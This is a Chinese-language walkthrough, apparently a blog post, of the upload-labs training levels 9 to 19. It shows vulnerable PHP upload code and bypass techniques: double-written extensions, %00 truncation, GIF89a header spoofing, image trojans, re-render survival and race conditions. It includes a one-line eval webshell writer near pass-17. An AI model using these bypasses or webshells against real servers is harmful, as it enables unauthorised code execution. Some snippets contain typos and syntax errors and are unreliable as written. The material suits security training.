经过双写绕过后，我们发现，不行，那就是，从Windows的特性进行下手绕过。Windows的 . 和空格以及 ::$DATA在上面已经发现不行了，那就只剩下 ：. 创建文件了。（当然，可能有着其他的特性或者方法进行绕过？不过在下学疏才浅，目前只会这一种方法，有其他方法的师傅欢迎来讨论一下）

绕过方法

先上传我们的 shell 文件并进行抓包修改后缀名，利用Windows的叠加特性进行创建文件。

可以看出我们修改后缀名并进行重发后成功绕过了黑名单限制，并且创建了一个空白的php文件，接下来利用正则匹配绕过黑名单限制之后匹配这个文件进行覆盖写入即可。

我们会发现文件成功上传并且覆盖了原先的info.php文件，并且响应包里面也返回了我们路径，那么就直接进行访问即可，记得将后缀名改为 php 。

0x10 pass-10 双写后缀名绕过上传

原理

在上传模块中，有的代码会把黑名单的后缀名替换成空，例如 a.php 会把 php 替换成空，但是可以使用双写绕过，例如 asaspp，pphphp，即可绕过限制进行上传。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  6.  
  7.         $file_name = trim($_FILES['upload_file']['name']);
  8.         $file_name = str_ireplace($deny_ext,"", $file_name);
  9.         $temp_file = $_FILES['upload_file']['tmp_name'];
  10.         $img_path = UPLOAD_PATH.'/'.$file_name;        
  11.         if (move_uploaded_file($temp_file, $img_path)) {
  12.             $is_upload = true;
  13.         } else {
  14.             $msg = '上传出错！';
  15.         }
  16.     } else {
  17.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  18.     }
  19. }

这里还是黑名单过滤。str_ireplace 函数用于替换黑名单内的字符串，将文件名中的黑名单内的字符串进行替换为空格，然后再进行拼接文件名上传。

判断限制

依旧是上传txt文件看看能不能上传，顺便看看文件名有什么变化。

很好，头没了（bushi），想了想，上传的文件名是 php.tXt ，头没了，那应该是，把php给忽略了？再利用burpsuite的穷举模块测试一下。

看几个响应包里面的上传路径可以发现，确实是将php给去掉了，那么我们就可以考虑双写上传了。

绕过方法

因为是将 php 集体删除掉，那么双写的话要写的删除前，只检测到一个 php ，删除后的字符也能合成为一个 php （下次字典里面可以加上去这个），那后缀名可以改为 pphphp 来进行绕过。因为从刚刚的测验中我们可以发现，它是将所见的php从第一个 p 开始，到最后一个 p 这之间的 php 修改为空，那么在将 pphphp 中的php删除时，剩下的三个字符又可以拼成一个 php 绕过上传。

可以看出，这里成功的绕过了限制进行上传。

0x11 pass-11 目录可控%00 截断绕过GET上传

原理

使用白名单限制上传的文件后缀名，只允许指定的图片格式。但是当上传路径的时候，服务器接受客户端的传来的上传路径的值，这个值可被客户端修改。所以会留下安全问题。因为在 url 中%00表示 ascii 码中的0 ，而ascii中0作为特殊字符保留，表示字符串结束，所以当url中出现%00时就会认为读取已结束。例如当我们读取 localhost/upload/shell.php%001.jpg 的时候，会直接在%00处结束，后面的1.jpg并不会读取进去，借此，我们可以达到访问 localhost/upload/shell.php 的目的。当然，这个绕过利用也有着条件，第一，要在 gpc 关闭的情况下，第二就是 php 版本小于 5.3.4。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4.     $ext_arr = array('jpg','png','gif');
  5.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  6.     if(in_array($file_ext,$ext_arr)){
  7.         $temp_file = $_FILES['upload_file']['tmp_name'];
  8.         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  9.  
  10.         if(move_uploaded_file($temp_file,$img_path)){
  11.             $is_upload = true;
  12.         } else {
  13.             $msg = '上传出错！';
  14.         }
  15.     } else{
  16.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  17.     }
  18. }

可以看出，代码中已经改为了使用白名单限制上传的文件后缀名，使用白名单验证会相对比较安全，因为只允许指定的文件后缀名上传。但是$_GET['save_path']服务器接受客户端的值，这个值可被客户端修改，所以会留下安全问题，会导致客户端传入的文件名容易被抓包修改。

判断限制

照例，上传一下txt文件，判断一下是白名单还是黑名单限制，顺便看看有没有其他的改动。

明白了，白名单限制，那就将文件后缀改成 .jpg 看一下有没有什么变化。

可以发现，能够成功上传，那么就不是去检测文件头判定是不是在白名单内，并且对文件进行了重命名，那就抓一下包分析一下看看。

好耶，有上传路径可以用，那么突破点应该就是他了。

绕过方法

我们上传一个 shell 文件，然后进行抓包处理，修改一下文件后缀名，并对文件上传的路径进行%00截断处理。

根据响应包可以看出，我们已经成功上传了文件。

通过查看上传的文件夹也可以发现我们的 shell 文件已经成功上传了，那么我们来访问一下。

当然，我们如果从靶场里面直接打开的话会发现找不到资源，因为这个文件本来就不存在，只是客户端自动命名并定义了这个路径而已，所以我们访问的时候记得将 .php 后面的内容删去在进行访问或者连接。

0x12 pass-12 目录可控%00 截断绕过POST上传

原理

原理与上一关的原理相同，都是通过%00截断进行上传。但是，因为POST不会像GET一样自动解码，所以在我们发送数据包之前，需要将%00进行一次解码，然后再将数据包发送。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if(isset($_POST['submit'])){
  4.     $ext_arr = array('jpg','png','gif');
  5.     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
  6.     if(in_array($file_ext,$ext_arr)){
  7.         $temp_file = $_FILES['upload_file']['tmp_name'];
  8.         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
  9.  
  10.         if(move_uploaded_file($temp_file,$img_path)){
  11.             $is_upload = true;
  12.         } else {
  13.             $msg = "上传失败";
  14.         }
  15.     } else {
  16.         $msg = "只允许上传.jpg|.png|.gif类型文件！";
  17.     }
  18. }

这段代码同样是白名单限制后缀名，与上一个代码相差无几，但是GET改为了POST，$_POST['save_path']是接收客户端提交的值，客户端处可任意修改，所以会产生安全漏洞。

判断限制

上传一个txt文件判断一下限制，会发现无法上传，依旧是白名单限制。那么就上传一个 .jpg 文件看看会有哪些处理。

可以发现能够上传成功，并且依旧是将文件进行了重命名处理，那么可以排除检测文件头等白名单限制的操作了。那么就抓包分析一下看看吧，看看都会传入哪些参数，有没有可以做手脚的地方。

很棒哦兄弟，成功找到了上传目录，而且是可以修改的，那么大概率就是和上一关差不多了，但是仔细看一下位置是在下面，而不是和上一关那般在最顶头并且给一个表达式，这里是传参数，那么应该是POST方法，那么我们还是尝试一下%00截断吧。（对了，这里还有一个方法，0x00截断，但是其实原理跟%00相似，而且0x00是十六进制进行修改，都是因为转义后是 0 这个特殊的字符表示结束，进而产生的截断漏洞，所以兄弟们也可以试试修改Hex包去进行截断。）

绕过方法

方法和GET差不多，上传脚本文件，然后抓包修改目录，并进行截断，同时修改一下上传的文件的后缀名。当然，要记得POST不会自动解码，所以在上传之前我们要先给%00进行一次URL解码，方可进行上传绕过。

可以发现我们成功的上传了这个文件，只需要将 .php 后的字符串删去之后进行访问连接即可。（因为不删去的话是访问不到的，和上一关一样，找不到资源，因为根本没有那个文件，怎么可能找的到呢）

0x13 pass-13 文件头检测绕过上传

原理

有的文件上传，上传时候会检测头文件，不同的文件，头文件也不尽相同。一般情况下，常见的文件上传图片头检测，它检测图片是两个字节的长度，如果不是图片的格式，会禁止上传。这种就会避免掉我们将文件后缀名修改为 .jpg 格式然后配合其他操作进行上传绕过的手法了。

常见的图像格式的文件头（十六进制）

JPEG (jpg)，文件头：FFD8FF
PNG (png)，文件头：89504E47
GIF (gif)，文件头：47494638
TIFF (tif)，文件头：49492A00

代码分析

  1. function getReailFileType($filename){
  2.     $file = fopen($filename, "rb");
  3.     $bin = fread($file, 2); //只读2字节
  4.     fclose($file);
  5.     $strInfo = @unpack("C2chars", $bin);    
  6.     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
  7.     $fileType = '';    
  8.     switch($typeCode){      
  9.         case 255216:            
  10.             $fileType = 'jpg';
  11.             break;
  12.         case 13780:            
  13.             $fileType = 'png';
  14.             break;        
  15.         case 7173:            
  16.             $fileType = 'gif';
  17.             break;
  18.         default:            
  19.             $fileType = 'unknown';
  20.         }    
  21.         return $fileType;
  22. }
  23.  
  24. $is_upload = false;
  25. $msg = null;
  26. if(isset($_POST['submit'])){
  27.     $temp_file = $_FILES['upload_file']['tmp_name'];
  28.     $file_type = getReailFileType($temp_file);
  29.  
  30.     if($file_type == 'unknown'){
  31.         $msg = "文件未知，上传失败！";
  32.     }else{
  33.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
  34.         if(move_uploaded_file($temp_file,$img_path)){
  35.             $is_upload = true;
  36.         } else {
  37.             $msg = "上传出错！";
  38.         }
  39.     }
  40. }

这个是存在文件头检测的上传，getReailFileType 是检测 jpg、png、gif 的文件头，再使用 @unpack 函数从二进制字符串对数据进行解包，并将其转化为整数进行对比，如果上传的文件符合数字即可通过检测。

判断限制

先看一下这一关的要求，图片，那么大概率就是白名单限制了，同时也要利用好文件包含的漏洞。

先尝试最简单的，php文件修改后缀名上传，看一下会不会进行绕过。

可以发现提示的是文件未知，那么大概率是对文件进行了检测，当然，不知道是文件头检测还是图片检测。最简单的实验方式，在上传的文件的最前面加入 GIF89a 这一字符串，看看能否上传，如果可以，那就是文件头的检测，如果不行，那就是对图片信息进行检测。（考虑那么多干嘛，确定图片之后直接 copy 制作一个不就得了）经过验证，可以确定，是对文件头进行检测的。

绕过方法

最简单的方法就是直接创建一个图片进行上传然后利用文件包含漏洞进行执行。当然，还可以直接在文件的前面加上GIF89a进行文件头检测的绕过。（ .jpg 和 .png 格式的文件头也是可以的，不过常用的还是很GIF89a，好记，而且简短）

我们先利用 copy 命令创建一个图片试一下。（当然，创建图片的方式有四种，会放在这一节的末尾简单介绍一下）copy 图片文件名/b + shell文件名/a 新文件名 这个是 copy 创建图片的命令， /b 表示的是以二进制形式打开，/a 是表示以ascii码的形式打开，/a 可以忽略。而且，图片和shell谁在前谁在后都可以，不过shell在前的话一句话会在图片的开头，不太推荐，极易被流量监测出来。

可以看出，我们的图片成功创建，且和原图片无二。想看看差别的可以自己尝试制作一下然后原图片和木马图片都以记事本格式打开看一下对比一下，或者利用WinHex，010editor什么的也行。

接下看来就是上传我们制作好的木马图片。

成功上传，接着就是放在文件包含漏洞里面进行执行。

成功执行，不过也会包含原图片的内容。

制作木马图片的四个方式

制作方法:

  1. 文本方式打开，末尾粘贴一句话木马。

  2. 在cmd中 copy 1.jpg/b+2.php 3.jpg

    (1) /b 是二进制形式打开

    (1) /a 是ascii方式打开

  3. 16进制打开图片在末尾添加一句话木马。（利用WinHex，010editor等工具）

  4. ps制作。（打开文件后，在最上方的工具栏中的“文件”中，找到“文件简介”，打开在“文档标题”里面添加一句话）

注意以下几点:

1.单纯的木马图片并不能直接和蚁剑连接，因为该文件依然是以image格式进行解析。

2.只有利用文件包含漏洞，才能成功利用该木马。

3.所谓文件包含漏洞，是指在代码中引入其他文件作为php文件执行时，未对文件进行严格过滤，导致用户指定任意文件，都作为php文件解析执行。

0x14 pass-14 图片检测函数绕过上传(1)

原理

有的文件上传，上传时候会通过 getimagesize 获取图片的信息进行检测，然后通过对获取的信息以及白名单的比较进行限制上传，不过依旧是木马图片就可以进行绕过的。

代码分析

  1. function isImage($filename){
  2.     $types = '.jpeg|.png|.gif';
  3.     if(file_exists($filename)){
  4.         $info = getimagesize($filename);
  5.         $ext = image_type_to_extension($info[2]);
  6.         if(stripos($types,$ext)>=0){
  7.             return $ext;
  8.         }else{
  9.             return false;
  10.         }
  11.     }else{
  12.         return false;
  13.     }
  14. }
  15.  
  16. $is_upload = false;
  17. $msg = null;
  18. if(isset($_POST['submit'])){
  19.     $temp_file = $_FILES['upload_file']['tmp_name'];
  20.     $res = isImage($temp_file);
  21.     if(!$res){
  22.         $msg = "文件未知，上传失败！";
  23.     }else{
  24.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
  25.         if(move_uploaded_file($temp_file,$img_path)){
  26.             $is_upload = true;
  27.         } else {
  28.             $msg = "上传出错！";
  29.         }
  30.     }
  31. }

getimagesize 是获取图片的大小，如果头文件不是图片便会报错，可以直接用木马图片进行绕过。再用文件包含漏洞引入 jpeg 图片即可 getshell。

判断限制

看一眼关卡要求，要上传木马图片，那证明还是白名单限制，那就依然是制作木马图片，上传，利用文件包含漏洞。

绕过方法

形同上一关，直接制作一个木马图片上传就行，然后利用文件包含漏洞去进行执行就行了。

0x15 pass-15 图片检测函数绕过上传(2)

原理

原理同上，不过这里是利用了 exif_imagetype 函数去获取的图片信息。依然是直接木马图片就可以过去。

代码分析

  1. function isImage($filename){
  2.     //需要开启php_exif模块
  3.     $image_type = exif_imagetype($filename);
  4.     switch ($image_type) {
  5.         case IMAGETYPE_GIF:
  6.             return "gif";
  7.             break;
  8.         case IMAGETYPE_JPEG:
  9.             return "jpg";
  10.             break;
  11.         case IMAGETYPE_PNG:
  12.             return "png";
  13.             break;    
  14.         default:
  15.             return false;
  16.             break;
  17.     }
  18. }
  19.  
  20. $is_upload = false;
  21. $msg = null;
  22. if(isset($_POST['submit'])){
  23.     $temp_file = $_FILES['upload_file']['tmp_name'];
  24.     $res = isImage($temp_file);
  25.     if(!$res){
  26.         $msg = "文件未知，上传失败！";
  27.     }else{
  28.         $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
  29.         if(move_uploaded_file($temp_file,$img_path)){
  30.             $is_upload = true;
  31.         } else {
  32.             $msg = "上传出错！";
  33.         }
  34.     }
  35. }

虽然还是一个图片检测函数进行白名单限制，但是利用了 exif_imagetype 函数去对图片的信息进行获取（需要开启php的exif扩展），然后通过比对进行判定。

判断限制

与pass-14相同。

绕过方法

与pass-14相同。

注：这三关都可以通过直接在文件开头写入 GIF89a 进行绕过，甚至后缀名都不需要更改。只不过上传后依然是需要利用文件包含漏洞进行执行的。

0x16 pass-16 绕过图片二次渲染上传

原理

有些图片上传，会对上传的图片进行二次渲染后在保存，体积可能会更小，图片会模糊一些，但是符合网站的需求。例如新闻图片封面等可能需要二次渲染，因为原图片占用的体积更大。访问的人数太多时候会占用很大带宽。二次渲染后的图片内容会减少，如果里面包含后门代码，可能会被省略。导致上传的木马图片中的恶意代码被清除。我们将未删除的部分选出一部分进行替换为我们的一句话木马，然后再进行上传即可达到绕过的效果。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])){
  4.     // 获得上传文件的基本信息，文件名，类型，大小，临时文件路径
  5.     $filename = $_FILES['upload_file']['name'];
  6.     $filetype = $_FILES['upload_file']['type'];
  7.     $tmpname = $_FILES['upload_file']['tmp_name'];
  8.  
  9.     $target_path=UPLOAD_PATH.'/'.basename($filename);
  10.  
  11.     // 获得上传文件的扩展名
  12.     $fileext= substr(strrchr($filename,"."),1);
  13.  
  14.     //判断文件后缀与类型，合法才进行上传操作
  15.     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  16.         if(move_uploaded_file($tmpname,$target_path)){
  17.             //使用上传的图片生成新的图片
  18.             $im = imagecreatefromjpeg($target_path);
  19.  
  20.             if($im == false){
  21.                 $msg = "该文件不是jpg格式的图片！";
  22.                 @unlink($target_path);
  23.             }else{
  24.                 //给新图片指定文件名
  25.                 srand(time());
  26.                 $newfilename = strval(rand()).".jpg";
  27.                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）
  28.                 $img_path = UPLOAD_PATH.'/'.$newfilename;
  29.                 imagejpeg($im,$img_path);
  30.                 @unlink($target_path);
  31.                 $is_upload = true;
  32.             }
  33.         } else {
  34.             $msg = "上传出错！";
  35.         }
  36.  
  37.     }else if(($fileext == "png") && ($filetype=="image/png")){
  38.         if(move_uploaded_file($tmpname,$target_path)){
  39.             //使用上传的图片生成新的图片
  40.             $im = imagecreatefrompng($target_path);
  41.  
  42.             if($im == false){
  43.                 $msg = "该文件不是png格式的图片！";
  44.                 @unlink($target_path);
  45.             }else{
  46.                  //给新图片指定文件名
  47.                 srand(time());
  48.                 $newfilename = strval(rand()).".png";
  49.                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）
  50.                 $img_path = UPLOAD_PATH.'/'.$newfilename;
  51.                 imagepng($im,$img_path);
  52.  
  53.                 @unlink($target_path);
  54.                 $is_upload = true;               
  55.             }
  56.         } else {
  57.             $msg = "上传出错！";
  58.         }
  59.  
  60.     }else if(($fileext == "gif") && ($filetype=="image/gif")){
  61.         if(move_uploaded_file($tmpname,$target_path)){
  62.             //使用上传的图片生成新的图片
  63.             $im = imagecreatefromgif($target_path);
  64.             if($im == false){
  65.                 $msg = "该文件不是gif格式的图片！";
  66.                 @unlink($target_path);
  67.             }else{
  68.                 //给新图片指定文件名
  69.                 srand(time());
  70.                 $newfilename = strval(rand()).".gif";
  71.                 //显示二次渲染后的图片（使用用户上传图片生成的新图片）
  72.                 $img_path = UPLOAD_PATH.'/'.$newfilename;
  73.                 imagegif($im,$img_path);
  74.  
  75.                 @unlink($target_path);
  76.                 $is_upload = true;
  77.             }
  78.         } else {
  79.             $msg = "上传出错！";
  80.         }
  81.     }else{
  82.         $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件！";
  83.     }
  84. }

只允许上传 /.jpg /.png /.gif文件，通过对文件的文件头和图片检测函数进行判定限制为图片格式的文件，然后在源码中使用 imagecreatefrom jpeg/png/gif 函数对图片进行二次生成。重新生成的图片会保存在 upload 目录下。

判断限制

本来以为还是一个木马图片随随便便过的，就随意提交了一个木马图片，然后直接就进行文件包含进行执行了，谁知道没连接成功。于是就换了 phpinfo 函数上传了一下试试，然后发现没有显示 phpinfo 信息。

仔细看一下上传之后的信息，发现图片被重新命名，但是感觉和这个可能没太大的关系，也没有重视起来，后来终于发现长度不太对劲，因为上传的图片还算是比较复杂的，解析为文本挺长的，但是这个却是比较短，不得不考虑是不是进行了二次渲染，重新生成了一个图片。

那就翻到最下面，也是可以发现，我们写入的一句话显然已经没了，那么就可以肯定，是进行了二次渲染重新生成的图片了。

绕过方法

首先判断图片是否允许上传 gif，因为gif 图片在二次渲染后，与原图片差别不会太大。所以二次渲染攻击最好用 git 木马图片。当然，如果不可以的话就使用jpg或者png，不过这两个在制作的过程中可能会将文件损坏而无法上传，而且这两种格式在经过二次渲染后相同处较少，不太建议。

制作木马图片：

利用WinHex，010editor等工具打开原图片，下载渲染后的图片也打开进行对比，找相同处，然后用一句话木马（或者恶意指令）覆盖原图片中的部分相同字符串即可。

可以看出，gif的话前一部分很多地方都是相同的，随意选择一处进行修改即可。

这样修改后保存下来上传即可，可能有的时候gif会变色，属于正常现象。

可以看出，我们上传后，哪怕是经历了二次渲染，我们的一句话木马也依然保留在渲染后的图片中。因此直接在文件包含漏洞中直接利用也是可以的。

0x17 pass-17 文件上传条件竞争漏洞绕过上传(1)

原理

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行，而且他们忽视了并行服务器会并发执行多个线程，这就会导致意想不到的结果。

在文件上传时，用 move_uploaded_file 把上传的临时文件移动到指定目录，接着再用 rename 文件设置为图片格式，如果在 rename 之前的move_uploaded_file 这个步骤中，如果这个文件可被客户端访问，这样我们也可以获取一个 webshell。因为在其进行 move 的时候，选择了先进行访问，而未去检测文件是否有害，那么当我们上传的速度超过了他重命名的速度，或者我们上传一个能够再生的脚本文件，并对其生成的文件进行访问，那么我们就可以占用这个文件，从而达到无法删除的效果，那么这个脚本文件便可以一直存在。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3.  
  4. if(isset($_POST['submit'])){
  5.     $ext_arr = array('jpg','png','gif');
  6.     $file_name = $_FILES['upload_file']['name'];
  7.     $temp_file = $_FILES['upload_file']['tmp_name'];
  8.     $file_ext = substr($file_name,strrpos($file_name,".")+1);
  9.     $upload_file = UPLOAD_PATH . '/' . $file_name;
  10.  
  11.     if(move_uploaded_file($temp_file, $upload_file)){
  12.         if(in_array($file_ext,$ext_arr)){
  13.              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  14.              rename($upload_file, $img_path);
  15.              $is_upload = true;
  16.         }else{
  17.             $msg = "只允许上传.jpg|.png|.gif类型文件！";
  18.             unlink($upload_file);
  19.         }
  20.     }else{
  21.         $msg = '上传出错！';
  22.     }
  23. }

采用白名单上传，$upload_file = UPLOAD_PATH . '/' . $file_name;设置上传路径，后缀名没有限定为图片类型，接着利用move_uploaded_file($temp_file, $upload_file)将图片移动指定的目录，接着使用 rename 重名为图片类型。在重名之前如果被浏览器访问，可以得到一个 webshell。

判断限制

打开之后发现没有了提醒让上传一个图片马，一时竟把握不住是否是白名单了，决定重拾旧技，上传一个 txt 文件进行测试，然后发现提示只能上传图片格式文件，像是白名单，但是又没有文件包含漏洞，上传木马图片的话也不好进行利用，只能另想办法。

再上传一个图片尝试一下吧，上传一个木马图片试一下会有什么反应。

可以看出上传成功，但是文件被重命名了，而且没有提示说有包含漏洞可以使用，有点儿没有思路了，只能看看提示有没有什么特别的地方没有注意到。

得，看看源码审计一下吧，然后发现，这是个竞争上传，之所以提示只能上传图片格式文件，也是因为文件在移动的时候，被删除了，然后提示只能上传图片格式文件，那么我们就直接进行竞争上传。

绕过方法

如果是竞争上传的话，那么我们就利用 burpsuite 的 Intruder 模块进行重复提交我们上传的页面进行条件竞争绕过。因为存在变量，所以我们可以将载荷设置为没有负载，然后设置重复提交x次（随心所欲即可，尽量大一些）。

同时抓一个对上传文件进行访问的包，然后将其路径修改为对我们上传的 shell 文件进行访问的路径，并将其也设置为重复提交访问，并且这个要在我们重复上传文件之前，这样我们访问可以在其被删除之前达成，这样就会占用这个文件从而达到不被删除的效果。根据响应包可以看出我们成功的进行了文件的访问。

当然，还有另一种方式，因为客户端对文件先进行了访问再进行重命名或者删除，那么我们就可以写一个能够写一句话木马的脚本文件。

例如：

  1. <?php
  2. 	$file=fopen("shell.php","w");
  3. 	$string='<?php @eval($_POST["cmd"]); ?>';
  4. 	fwrite($file,$string);
  5. 	fcolse();
  6. ?>

然后进行上传，并对其写的一句话进行不断地访问，直到访问成功为止。并且访问这一步我们可以直接自己写一个python脚本对其进行访问，而不去利用 burpsuite 的 Intruder 模块，也是可以做到的。

  1. import requests
  2.  
  3. for i in range(1000000):
  4.     url="xxx" //这里写自己上传的路径
  5.     if requests.get(url).status_code == 200 :
  6.         print('yse')

0x18 pass-18 文件上传条件竞争漏洞绕过上传(2)

原理

竞争上传方面与pass-17相同，同时也利用了 apache 解析的一些漏洞进行绕过。

代码分析

  1. //index.php
  2. $is_upload = false;
  3. $msg = null;
  4. if (isset($_POST['submit']))
  5. {
  6.     require_once("./myupload.php");
  7.     $imgFileName =time();
  8.     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  9.     $status_code = $u->upload(UPLOAD_PATH);
  10.     switch ($status_code) {
  11.         case 1:
  12.             $is_upload = true;
  13.             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  14.             break;
  15.         case 2:
  16.             $msg = '文件已经被上传，但没有重命名。';
  17.             break; 
  18.         case -1:
  19.             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  20.             break; 
  21.         case -2:
  22.             $msg = '上传失败，上传目录不可写。';
  23.             break; 
  24.         case -3:
  25.             $msg = '上传失败，无法上传该类型文件。';
  26.             break; 
  27.         case -4:
  28.             $msg = '上传失败，上传的文件过大。';
  29.             break; 
  30.         case -5:
  31.             $msg = '上传失败，服务器已经存在相同名称文件。';
  32.             break; 
  33.         case -6:
  34.             $msg = '文件无法上传，文件不能复制到目标目录。';
  35.             break;      
  36.         default:
  37.             $msg = '未知错误！';
  38.             break;
  39.     }
  40. }
  41.  
  42. //myupload.php
  43. class MyUpload{
  44. ......
  45. ......
  46. ...... 
  47.   var $cls_arr_ext_accepted = array(
  48.       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  49.       ".html", ".xml", ".tiff", ".jpeg", ".png" );
  50.  
  51. ......
  52. ......
  53. ......  
  54.   /** upload()
  55.    **
  56.    ** Method to upload the file.
  57.    ** This is the only method to call outside the class.
  58.    ** @para String name of directory we upload to
  59.    ** @returns void
  60.   **/
  61.   function upload( $dir ){
  62.     
  63.     $ret = $this->isUploadedFile();
  64.     
  65.     if( $ret != 1 ){
  66.       return $this->resultUpload( $ret );
  67.     }
  68.  
  69.     $ret = $this->setDir( $dir );
  70.     if( $ret != 1 ){
  71.       return $this->resultUpload( $ret );
  72.     }
  73.  
  74.     $ret = $this->checkExtension();
  75.     if( $ret != 1 ){
  76.       return $this->resultUpload( $ret );
  77.     }
  78.  
  79.     $ret = $this->checkSize();
  80.     if( $ret != 1 ){
  81.       return $this->resultUpload( $ret );    
  82.     }
  83.     
  84.     // if flag to check if the file exists is set to 1
  85.     
  86.     if( $this->cls_file_exists == 1 ){
  87.       
  88.       $ret = $this->checkFileExists();
  89.       if( $ret != 1 ){
  90.         return $this->resultUpload( $ret );    
  91.       }
  92.     }
  93.  
  94.     // if we are here, we are ready to move the file to destination
  95.  
  96.     $ret = $this->move();
  97.     if( $ret != 1 ){
  98.       return $this->resultUpload( $ret );    
  99.     }
  100.  
  101.     // check if we need to rename the file
  102.  
  103.     if( $this->cls_rename_file == 1 ){
  104.       $ret = $this->renameFile();
  105.       if( $ret != 1 ){
  106.         return $this->resultUpload( $ret );    
  107.       }
  108.     }
  109.     
  110.     // if we are here, everything worked as planned :)
  111.  
  112.     return $this->resultUpload( "SUCCESS" );
  113.   
  114.   }
  115. ......
  116. ......
  117. ...... 
  118. };

本关对文件后缀名做了白名单判断，然后会一步一步检查文件大小、文件是否存在等等，将文件上传后，对文件重新命名，同样存在条件竞争的漏洞。可以不断利用burp发送上传木马图片的数据包，由于条件竞争，程序会出现来不及rename的问题，从而上传成功。而且他也允许 ".doc", ".xls", ".txt", ".pdf", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg" 这些格式的文件进行上传。

判断限制

和pass-17相似，一样的没思路，一样的代码审计，然后看着长串代码陷入沉思，一点儿一点儿的看代码指向和意思，然后发现，还是一个竞争上传，不过要比 pass-17 的条件更为严苛，他对文件后缀名，文件大小等等都有着检查。

绕过方法

审计之后，发现允许了一堆其他的文件格式可以允许上传的，那么我们就可以考虑竞争上传和解析漏洞相结合进行一次绕过。因为在 apache 的 1.x 和 2.x 版本中，当 apache 遇见不认识的后缀名，会从后向前解析例如 1.php.rar ，不认识 rar 就向前解析，直到知道它认识的后缀名。那么我们就可以将我们的脚本文件的后缀名改为 .7z 等等对其进行绕过，然后利用 apache 的解析漏洞，使其解析为php文件，最后进行连接。

当然，可以看出我们上传的 php 文件后缀真的变成了 .7z 这是因为在移动的过程中对其进行了重命名，所以我们要进行一个竞争上传，不断上传文件，使其来不及进行重命名，然后对其进行访问阻断其重命名。

可以看出，我们这里成功上传并且能够成功访问 phpinfo 。

当然，我也看到不少师傅是用文件包含来写的，我觉得这一关没有提示文件包含漏洞，那么那个文件包含的那个页面应该是属于前面上传木马图片那几关，就想要使用其他方法来进行绕过，当然，实战的时候大可不必如此拘束，该用就用。

注意

这一关好多师傅都在说，应该是作者的一些小疏忽，导致我们上传的文件并没有在 upload 那个文件夹当中，而是跑到了根目录里面，我们修改一下 pass-18 那个文件夹中的 myupload 文件，修改一下下面这一部分即可。

0x19 pass-19 文件名可控绕过上传

原理

文件上传时，文件名的可被客户端修改控制，便会导致漏洞产生。原理与第11关的目录截断相似。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])) {
  4.     if (file_exists(UPLOAD_PATH)) {
  5.         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
  6.  
  7.         $file_name = $_POST['save_name'];
  8.         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
  9.  
  10.         if(!in_array($file_ext,$deny_ext)) {
  11.             $temp_file = $_FILES['upload_file']['tmp_name'];
  12.             $img_path = UPLOAD_PATH . '/' .$file_name;
  13.             if (move_uploaded_file($temp_file, $img_path)) { 
  14.                 $is_upload = true;
  15.             }else{
  16.                 $msg = '上传出错！';
  17.             }
  18.         }else{
  19.             $msg = '禁止保存为该类型文件！';
  20.         }
  21.  
  22.     } else {
  23.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
  24.     }
  25. }

判断限制

新的界面，发现可以选择保存名称，先尝试一下能不能保存为 .php 文件。

可以发现会提示 禁止保存为该类型文件 。那么我们尝试一下保存名称这里和上传文件名有什么关联，我们保持上传名称不改，上传文件改为木马图片进行尝试。

可以发现，依旧是 禁止保存为该类型文件 。那么我们就可以考虑一个问题，那就是，上传名称是不是由保存名称进行重命名，我们上传一个php文件尝试一下，将保存名称改为 .jpg 文件。

可以发现成功上传，且我们上传的文件名也是根据我们输入的保存名称进行的保存，那么我们可以发现，文件保存名称是在客户端可以进行修改的，可以考虑一下 文件名可控绕过上传 这一手法。

绕过方法

绕过方式有两种，第一是使用 %00 进行截断，第二种是利用中间件的解析漏洞。

%00截断上传

上传我们的脚本文件的时候进行抓包修改数据包。

将上传的文件的保存名称修改为 xxx.php%00.jpg ，利用 %00 进行一次截断，因为是 POST 上传，所以我们要记得将 %00 进行一次解码，然后再将其发送。

可以发现我们成功上传，但是因为 %00 截断，导致我们访问的这个资源并未找到，只要将 .jpg 删除就行。

注意：

